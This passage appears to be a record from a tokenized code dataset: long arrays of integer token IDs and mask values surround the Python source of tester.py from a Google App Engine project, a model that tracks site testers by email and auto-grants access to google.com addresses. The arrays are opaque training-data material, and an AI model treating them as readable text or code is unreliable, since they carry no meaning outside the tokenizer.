2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 8059, 6411, 666, 14, 288, 291, 14, 7925, 63, 6136, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 5343, 666, 14, 288, 291, 14, 4776, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 1267, 275, 291, 14, 14287, 2127, 14, 1267, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 267, 916, 3715, 63, 466, 508, 298, 396, 582, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14, 7588, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 5343, 666, 14, 288, 291, 14, 4776, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 1267, 275, 291, 14, 14287, 2127, 14, 1267, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 267, 587, 26, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14 ]
[ 747, 199, 646, 3228, 465, 2833, 199, 646, 2680, 465, 980, 199, 504, 666, 492, 664, 63, 1725, 199, 504, 666, 492, 16012, 619, 10799, 199, 504, 666, 492, 18746, 51, 199, 504, 666, 492, 20668, 63, 5443, 199, 199, 533, 3918, 3428, 26, 272, 2582, 275, 378, 272, 6203, 275, 942, 272, 12965, 275, 942, 272, 19205, 275, 942, 199, 199, 3, 25119, 1420, 4153, 367, 6093, 12, 5343, 12, 5423, 14, 199, 533, 31242, 1451, 26, 272, 6093, 275, 3918, 3428, 342, 272, 8059, 63, 6136, 275, 3918, 3428, 342, 272, 5343, 275, 3918, 3428, 342, 272, 8137, 275, 3918, 3428, 342, 272, 1072, 275, 3918, 3428, 342, 339, 347, 636, 826, 721, 277, 12, 2248, 63, 7588, 63, 576, 29, 549, 12, 7417, 29, 797, 12, 3715, 63, 466, 628, 396, 401, 6277, 63, 7045, 29, 16, 14, 18, 12, 511, 63, 7045, 29, 16, 14, 18, 304, 267, 327, 7707, 701, 7664, 315, 4154, 14689, 1584, 14, 267, 291, 14, 14287, 2127, 14, 7977, 12, 291, 14, 14287, 2127, 14, 588, 12, 291, 14, 14287, 2127, 14, 10309, 275, 664, 63, 1725, 8, 6672, 12, 6093, 63, 576, 29, 912, 63, 7588, 63, 576, 9, 267, 291, 14, 14287, 2127, 14, 1267, 275, 822, 8, 277, 14, 14287, 2127, 14, 7977, 9, 398, 340, 3715, 63, 466, 508, 298, 5107, 13, 396, 582, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14, 7588, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 8059, 6411, 666, 14, 288, 291, 14, 7925, 63, 6136, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 2298, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7925, 63, 6136, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 6277, 63, 7045, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 5343, 666, 14, 288, 291, 14, 4776, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 1267, 275, 291, 14, 14287, 2127, 14, 1267, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 267, 916, 3715, 63, 466, 508, 298, 396, 582, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14, 7588, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 16, 26, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 10524, 288, 291, 14, 7588, 14, 1267, 275, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 953, 327, 2372, 4154, 5343, 666, 14, 288, 291, 14, 4776, 14, 7977, 275, 291, 14, 14287, 2127, 14, 7977, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 588, 275, 291, 14, 14287, 2127, 14, 588, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 10309, 275, 291, 14, 14287, 2127, 14, 10309, 59, 442, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 2298, 277, 14, 14287, 2127, 14, 1267, 61, 288, 291, 14, 4776, 14, 1267, 275, 291, 14, 14287, 2127, 14, 1267, 446, 1109, 8, 277, 14, 14287, 2127, 14, 1267, 627, 334, 17, 446, 511, 63, 7045, 430, 267, 587, 26, 288, 327, 2372, 4154, 6093, 666, 14, 288, 291, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
liefdiy/bite-project
server/models/compat/tester.py
17
3551
# Copyright 2010 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tester model and associated logic. Tester stores information necessary to manage access to the test features of the site compatibility. """ __author__ = 'alexto@google.com (Alexis O. Torres)' import re from google.appengine.ext import db class Tester(db.Model): """Tracks testers by email.""" email = db.StringProperty(required=True) active = db.BooleanProperty(required=True, default=True) created = db.DateTimeProperty(required=True, auto_now_add=True) created_by = db.UserProperty(required=True, auto_current_user_add=True) modified = db.DateTimeProperty(required=True, auto_now=True) modified_by = db.UserProperty(required=True, auto_current_user=True) def GetKeyName(email): """Returns a str used to uniquely identify a tester. Args: email: str user email. Returns: A str that can be used to uniquely identify a given tester. """ return 'Tester_' + email.lower() def GetKey(email): """Returns the unique db.Key object for the given email. Args: email: str user email. Returns: A Key object. """ return db.Key.from_path('Tester', GetKeyName(email)) def Get(email): """Returns the Tester object for the given email. Args: email: str user email. Returns: Tester object if a tester with the given email exists, or None. """ return db.get(GetKey(email)) def Add(email): """Adds a tester with the specified email. Args: email: str user email. Returns: A Tester object. """ tester = Tester(key_name=GetKeyName(email), email=email) tester.put() return tester def AddOrUpdate(email, is_active): """Adds or updates the tester with the specified email.""" tester = Tester.get_or_insert(key_name=GetKeyName(email), email=email) tester.active = is_active return tester def SetActive(email, is_active): """Sets the active field of the tester with the given email. Args: email: str user email. is_active: whether the user is active or not. Returns: An updated Tester object if a tester with the given email exits, or None. """ def _Txn(): tester = Tester.get_by_key_name(GetKeyName(email)) if tester: tester.active = is_active tester.put() return tester return db.run_in_transaction(_Txn) def IsActive(email): """Returns whether the tester with the given email is active.""" tester = Tester.get_by_key_name(GetKeyName(email)) if tester: return tester.active elif email and re.search('@(.+\.)?google.com$', email, flags=re.IGNORECASE): # Automatically grant Googlers access. Add(email) return True return False def GetTesters(): """Returns an iterator to the Tester model.""" testers = [] q = Tester.all() results = q.fetch(9999) cursor = q.cursor() while results: testers.extend(results) q = q.with_cursor(cursor) results = q.fetch(9999) cursor = q.cursor() return testers
apache-2.0
[ 3, 1898, 7129, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 22403, 1402, 436, 4568, 9661, 14, 199, 199, 22403, 14086, 2556, 5784, 370, 9635, 199, 2732, 370, 314, 511, 4534, 402, 314, 4770, 7163, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 1895, 400, 79, 32, 3098, 14, 957, 334, 33, 3113, 374, 593, 14, 29659, 470, 3171, 199, 199, 646, 295, 199, 199, 504, 6233, 14, 15358, 14, 832, 492, 1592, 421, 199, 533, 377, 17338, 8, 697, 14, 1685, 304, 523, 408, 2437, 5618, 221, 744, 878, 701, 3031, 1041, 523, 3031, 275, 1592, 14, 31821, 8, 2427, 29, 549, 9, 523, 4702, 275, 1592, 14, 4082, 3697, 8, 2427, 29, 549, 12, 849, 29, 549, 9, 523, 2737, 275, 1592, 14, 3926, 3697, 8, 2427, 29, 549, 12, 2599, 63, 2131, 63, 525, 29, 549, 9, 523, 2737, 63, 991, 275, 1592, 14, 1899, 3697, 8, 2427, 29, 549, 12, 2599, 63, 1818, 63, 751, 63, 525, 29, 549, 9, 523, 6042, 275, 1592, 14, 3926, 3697, 8, 2427, 29, 549, 12, 2599, 63, 2131, 29, 549, 9, 523, 6042, 63, 991, 275, 1592, 14, 1899, 3697, 8, 2427, 29, 549, 12, 2599, 63, 1818, 63, 751, 29, 549, 9, 421, 199, 318, 2372, 1197, 985, 8, 2123, 304, 523, 408, 3407, 282, 620, 1202, 370, 28727, 10405, 282, 17570, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 620, 626, 883, 506, 1202, 370, 28727, 10405, 282, 1627, 17570, 14, 523, 408, 523, 372, 283, 22403, 8650, 435, 3031, 14, 2325, 342, 421, 199, 318, 2372, 1197, 8, 2123, 304, 523, 408, 3407, 314, 3747, 1592, 14, 1197, 909, 367, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 2606, 909, 14, 523, 408, 523, 372, 1592, 14, 1197, 14, 504, 63, 515, 360, 22403, 297, 2372, 1197, 985, 8, 2123, 430, 421, 199, 318, 2372, 8, 2123, 304, 523, 408, 3407, 314, 377, 17338, 909, 367, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 377, 17338, 909, 340, 282, 17570, 543, 314, 1627, 3031, 3495, 12, 503, 488, 14, 523, 408, 523, 372, 1592, 14, 362, 8, 1002, 1197, 8, 2123, 430, 421, 199, 318, 2654, 8, 2123, 304, 523, 408, 14995, 282, 17570, 543, 314, 2013, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 377, 17338, 909, 14, 523, 408, 523, 17570, 275, 377, 17338, 8, 498, 63, 354, 29, 1002, 1197, 985, 8, 2123, 395, 2116, 3031, 29, 2123, 9, 523, 17570, 14, 524, 342, 523, 372, 17570, 421, 199, 318, 2654, 2844, 4152, 8, 2123, 12, 365, 63, 2682, 304, 523, 408, 14995, 503, 7029, 314, 17570, 543, 314, 2013, 3031, 1041, 819, 17570, 275, 377, 17338, 14, 362, 63, 269, 63, 3176, 8, 498, 63, 354, 29, 1002, 1197, 985, 8, 2123, 395, 1816, 3031, 29, 2123, 9, 523, 17570, 14, 2682, 275, 365, 63, 2682, 523, 372, 17570, 421, 199, 318, 2494, 7472, 8, 2123, 12, 365, 63, 2682, 304, 523, 408, 9899, 314, 4702, 901, 402, 314, 17570, 543, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 272, 365, 63, 2682, 26, 3775, 314, 922, 365, 4702, 503, 440, 14, 819, 1803, 26, 272, 1626, 4588, 377, 17338, 909, 340, 282, 17570, 543, 314, 1627, 3031, 20100, 12, 503, 488, 14, 523, 408, 819, 347, 485, 52, 5032, 837, 272, 17570, 275, 377, 17338, 14, 362, 63, 991, 63, 498, 63, 354, 8, 1002, 1197, 985, 8, 2123, 430, 272, 340, 17570, 26, 489, 17570, 14, 2682, 275, 365, 63, 2682, 489, 17570, 14, 524, 342, 272, 372, 17570, 819, 372, 1592, 14, 1065, 63, 262, 63, 5945, 1547, 52, 5032, 9, 421, 199, 318, 6596, 7472, 8, 2123, 304, 523, 408, 3407, 3775, 314, 17570, 543, 314, 1627, 3031, 365, 4702, 1041, 523, 17570, 275, 377, 17338, 14, 362, 63, 991, 63, 498, 63, 354, 8, 1002, 1197, 985, 8, 2123, 430, 523, 340, 17570, 26, 272, 372, 17570, 14, 2682, 523, 916, 3031, 436, 295, 14, 1733, 16591, 8, 6977, 20316, 3098, 14, 957, 4268, 3031, 12, 3285, 29, 264, 14, 15434, 304, 272, 327, 9195, 17174, 16085, 3971, 974, 29099, 2879, 14, 272, 2654, 8, 2123, 9, 272, 372, 715, 523, 372, 756, 421, 199, 318, 2372, 52, 397, 878, 837, 523, 408, 3407, 376, 6122, 370, 314, 377, 17338, 1402, 1041, 523, 221, 744, 878, 275, 942, 523, 1894, 275, 377, 17338, 14, 452, 342, 523, 2058, 275, 1894, 14, 3535, 8, 5008, 9, 523, 3920, 275, 1894, 14, 3937, 342, 523, 1830, 2058, 26, 272, 221, 744, 878, 14, 2880, 8, 2604, 9, 272, 1894, 275, 1894, 14, 1045, 63, 3937, 8, 3937, 9, 272, 2058, 275, 1894, 14, 3535, 8, 5008, 9, 272, 3920, 275, 1894, 14, 3937, 342, 523, 372, 221, 744, 878, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 7129, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 22403, 1402, 436, 4568, 9661, 14, 199, 199, 22403, 14086, 2556, 5784, 370, 9635, 199, 2732, 370, 314, 511, 4534, 402, 314, 4770, 7163, 14, 199, 624, 199, 199, 363, 2502, 363, 275, 283, 1895, 400, 79, 32, 3098, 14, 957, 334, 33, 3113, 374, 593, 14, 29659, 470, 3171, 199, 199, 646, 295, 199, 199, 504, 6233, 14, 15358, 14, 832, 492, 1592, 421, 199, 533, 377, 17338, 8, 697, 14, 1685, 304, 523, 408, 2437, 5618, 221, 744, 878, 701, 3031, 1041, 523, 3031, 275, 1592, 14, 31821, 8, 2427, 29, 549, 9, 523, 4702, 275, 1592, 14, 4082, 3697, 8, 2427, 29, 549, 12, 849, 29, 549, 9, 523, 2737, 275, 1592, 14, 3926, 3697, 8, 2427, 29, 549, 12, 2599, 63, 2131, 63, 525, 29, 549, 9, 523, 2737, 63, 991, 275, 1592, 14, 1899, 3697, 8, 2427, 29, 549, 12, 2599, 63, 1818, 63, 751, 63, 525, 29, 549, 9, 523, 6042, 275, 1592, 14, 3926, 3697, 8, 2427, 29, 549, 12, 2599, 63, 2131, 29, 549, 9, 523, 6042, 63, 991, 275, 1592, 14, 1899, 3697, 8, 2427, 29, 549, 12, 2599, 63, 1818, 63, 751, 29, 549, 9, 421, 199, 318, 2372, 1197, 985, 8, 2123, 304, 523, 408, 3407, 282, 620, 1202, 370, 28727, 10405, 282, 17570, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 620, 626, 883, 506, 1202, 370, 28727, 10405, 282, 1627, 17570, 14, 523, 408, 523, 372, 283, 22403, 8650, 435, 3031, 14, 2325, 342, 421, 199, 318, 2372, 1197, 8, 2123, 304, 523, 408, 3407, 314, 3747, 1592, 14, 1197, 909, 367, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 2606, 909, 14, 523, 408, 523, 372, 1592, 14, 1197, 14, 504, 63, 515, 360, 22403, 297, 2372, 1197, 985, 8, 2123, 430, 421, 199, 318, 2372, 8, 2123, 304, 523, 408, 3407, 314, 377, 17338, 909, 367, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 377, 17338, 909, 340, 282, 17570, 543, 314, 1627, 3031, 3495, 12, 503, 488, 14, 523, 408, 523, 372, 1592, 14, 362, 8, 1002, 1197, 8, 2123, 430, 421, 199, 318, 2654, 8, 2123, 304, 523, 408, 14995, 282, 17570, 543, 314, 2013, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 819, 1803, 26, 272, 437, 377, 17338, 909, 14, 523, 408, 523, 17570, 275, 377, 17338, 8, 498, 63, 354, 29, 1002, 1197, 985, 8, 2123, 395, 2116, 3031, 29, 2123, 9, 523, 17570, 14, 524, 342, 523, 372, 17570, 421, 199, 318, 2654, 2844, 4152, 8, 2123, 12, 365, 63, 2682, 304, 523, 408, 14995, 503, 7029, 314, 17570, 543, 314, 2013, 3031, 1041, 819, 17570, 275, 377, 17338, 14, 362, 63, 269, 63, 3176, 8, 498, 63, 354, 29, 1002, 1197, 985, 8, 2123, 395, 1816, 3031, 29, 2123, 9, 523, 17570, 14, 2682, 275, 365, 63, 2682, 523, 372, 17570, 421, 199, 318, 2494, 7472, 8, 2123, 12, 365, 63, 2682, 304, 523, 408, 9899, 314, 4702, 901, 402, 314, 17570, 543, 314, 1627, 3031, 14, 819, 3033, 26, 272, 3031, 26, 620, 922, 3031, 14, 272, 365, 63, 2682, 26, 3775, 314, 922, 365, 4702, 503, 440, 14, 819, 1803, 26, 272, 1626, 4588, 377, 17338, 909, 340, 282, 17570, 543, 314, 1627, 3031, 20100, 12, 503, 488, 14, 523, 408, 819, 347, 485, 52, 5032, 837, 272, 17570, 275, 377, 17338, 14, 362, 63, 991, 63, 498, 63, 354, 8, 1002, 1197, 985, 8, 2123, 430, 272, 340, 17570, 26, 489, 17570, 14, 2682, 275, 365, 63, 2682, 489, 17570, 14, 524, 342, 272, 372, 17570, 819, 372, 1592, 14, 1065, 63, 262, 63, 5945, 1547, 52, 5032, 9, 421, 199, 318, 6596, 7472, 8, 2123, 304, 523, 408, 3407, 3775, 314, 17570, 543, 314, 1627, 3031, 365, 4702, 1041, 523, 17570, 275, 377, 17338, 14, 362, 63, 991, 63, 498, 63, 354, 8, 1002, 1197, 985, 8, 2123, 430, 523, 340, 17570, 26, 272, 372, 17570, 14, 2682, 523, 916, 3031, 436, 295, 14, 1733, 16591, 8, 6977, 20316, 3098, 14, 957, 4268, 3031, 12, 3285, 29, 264, 14, 15434, 304, 272, 327, 9195, 17174, 16085, 3971, 974, 29099, 2879, 14, 272, 2654, 8, 2123, 9, 272, 372, 715, 523, 372, 756, 421, 199, 318, 2372, 52, 397, 878, 837, 523, 408, 3407, 376, 6122, 370, 314, 377, 17338, 1402, 1041, 523, 221, 744, 878, 275, 942, 523, 1894, 275, 377, 17338, 14, 452, 342, 523, 2058, 275, 1894, 14, 3535, 8, 5008, 9, 523, 3920, 275, 1894, 14, 3937, 342, 523, 1830, 2058, 26, 272, 221, 744, 878, 14, 2880, 8, 2604, 9, 272, 1894, 275, 1894, 14, 1045, 63, 3937, 8, 3937, 9, 272, 2058, 275, 1894, 14, 3535, 8, 5008, 9, 272, 3920, 275, 1894, 14, 3937, 342, 523, 372, 221, 744, 878, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
